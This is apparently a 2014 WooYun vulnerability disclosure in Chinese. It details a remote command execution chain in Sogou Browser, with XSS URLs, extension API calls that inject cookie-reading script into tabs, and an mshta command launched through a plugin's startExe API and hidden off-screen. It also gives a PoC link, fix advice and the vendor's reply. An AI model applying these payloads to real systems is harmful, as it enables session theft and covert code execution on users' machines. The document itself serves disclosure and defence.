当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083537

漏洞标题:某小设计缺陷搜狗浏览器远程命令执行

相关厂商:搜狗

漏洞作者: gainover

提交时间:2014-11-16 23:29

修复时间:2015-02-14 23:30

公开时间:2015-02-14 23:30

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-16: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向第三方安全合作伙伴开放
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

从某些小的设计缺陷到远程命令执行。

详细说明:

1. 搜狗浏览器自有的协议下(se://)的一些内容,都封装成了application/sogou-native-widget-plugin,因此,我们在这个协议下,要继续找到可用的XSS似乎比较困难。
2. 于是将目光投向了似乎更容易找到XSS的 se-extension://, 通过分析发现,搜狗浏览器在设计上,不允许 http协议向 se: 协议的资源跳转(如下图所示);但是对于 se-extension:// 上却欠缺了类似的安全考虑,允许在http协议下通过location.href跳转到或是通过iframe标签嵌入 se-extension:// 协议下的资源。

1.jpg


3. 基于这样一个缺陷,我们接着要寻找 se-extension://域下的XSS,由于搜狗浏览器内置的插件还比较多,挨个htm看一看,发现以下插件(截图插件)的页面存在XSS。

se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)


4. 这样一来,我们可以利用这个插件的XSS来调用搜狗浏览器插件所暴露出的一些API,这些API主要在sogouExplorer这个对象里,如下图所示:

2.jpg


这些API已经可以用来实现很多高危害的事情了,例如:

//利用sogouExplorer.tabs.getAllInWindow获得窗口内打开的所有页面
sogouExplorer.tabs.getAllInWindow(0,function(){console.log(arguments)})
//通过上一个函数内获得tabid来向页面内注入任意JS,实现窃取用户当前打开的页面的cookies。
sogouExplorer.tabs.executeScript(202372,{"code":"alert(document.cookie)"},function(){console.log(arguments)})


代码运行如下:

5.jpg


效果如下图所示:

4.jpg


到了这里,实际上利用这个XSS,可以实现改变任意页面的内容,可以用于窃取COOKIES,或是改变页面内容实现钓鱼等高危害操作。
-----------------------------------
** 实现远程命令执行
-----------------------------------
实际上到了上面这一步,对于用户来说,已经会导致很高的危害,但是我们是否可以实现命令执行呢?搜狗一些曾经导致远程命令执行的内置API,比如external下的SkinCall再次出问题的可能性已经比较小。
我们依然把目光放到扩展本身上,一些内置的扩展为了实现一些功能也会暴露一些API给网页,而扩展内的这样的功能要么是通过搜狗浏览器提供的扩展API来实现,要么通过dll来实现。
我们通过分析,发现com.sogou.gamecenter这个扩展调用了npgamecenterlite.dll,
该扩展的地址在 se-extension://ext740107210/路径下
更有意思的是该扩展目录下的back.html中还发现了以下内容(se-extension://ext740107210/html/back.html):

//back.html中调用npgamecenterlite.dll
<embed id="embed1" type="application/sogou-start-gamecenter-lite-plugin"/>
//back.html中调用了http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.4/app.js?t=1.0.4,其中有以下代码:
var miniLauncher = document.getElementById( 'embed1' );
//...
miniLauncher.startExe( url + " /popgame " + exe_param, function(arg) {
//....
});


我们惊喜的看到,这个npgamecenterlite.dll提供了一个API接口,而该接口的作用是用来启动了一个指定路径的程序。
-----------------------------------
** 插件页面间的互相访问
-----------------------------------
可以看到,我们找到XSS的页面是:
se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)
而存在调用npgamecenterlite.dll的页面是:
se-extension://ext740107210/html/back.html
这2个页面,属于同一个协议(se-extension),但不属于同一个域,理论上2个页面是无法互相通信的。
然而,搜狗浏览器在此处对se-extension协议的处理上再次出现问题,我发现,在se-extension协议下,2个不同域的页面可以通过脚本互相访问。
这样一来,我们的攻击思路就很明确了,如下:

6.jpg


如上图所示,顺便说到了要修复的点。
-----------------------------------
** 是否是任意命令执行?
-----------------------------------
答案:是的。
这里的 startExe API支持命令带参数,所以我们可以执行任意的命令。
如果用cmd,就会弹出一个一闪而过的黑框框,不够隐蔽。
这里我们可以用mshta来实现完全隐蔽的执行任意命令。比如下面弹出一个计算器:

miniLauncher.startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();", function(arg) {
console.log(arg);
});


mshta也会打开一个框框,但是我们可以用moveTo将框框移动到屏幕外,从而实现隐蔽效果。
最后执行效果:

7.jpg

漏洞证明:

安装最新版本的搜狗浏览器:
访问:http://xsst.sinaapp.com/poc/sogou.html ,
win xp, win7, win8 下均测试通过,上面已经有一个win7的图了,下面发个win8的,

8.jpg

修复方案:

见详细说明中的图:
1. 修复XSS
2. 阻止http访问se-extension协议资源
3. 阻止插件页面间的相互访问
4. ....

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-11-21 10:55

厂商回复:

感谢支持,欢迎您在SGSRC平台提交漏洞

最新状态:

暂无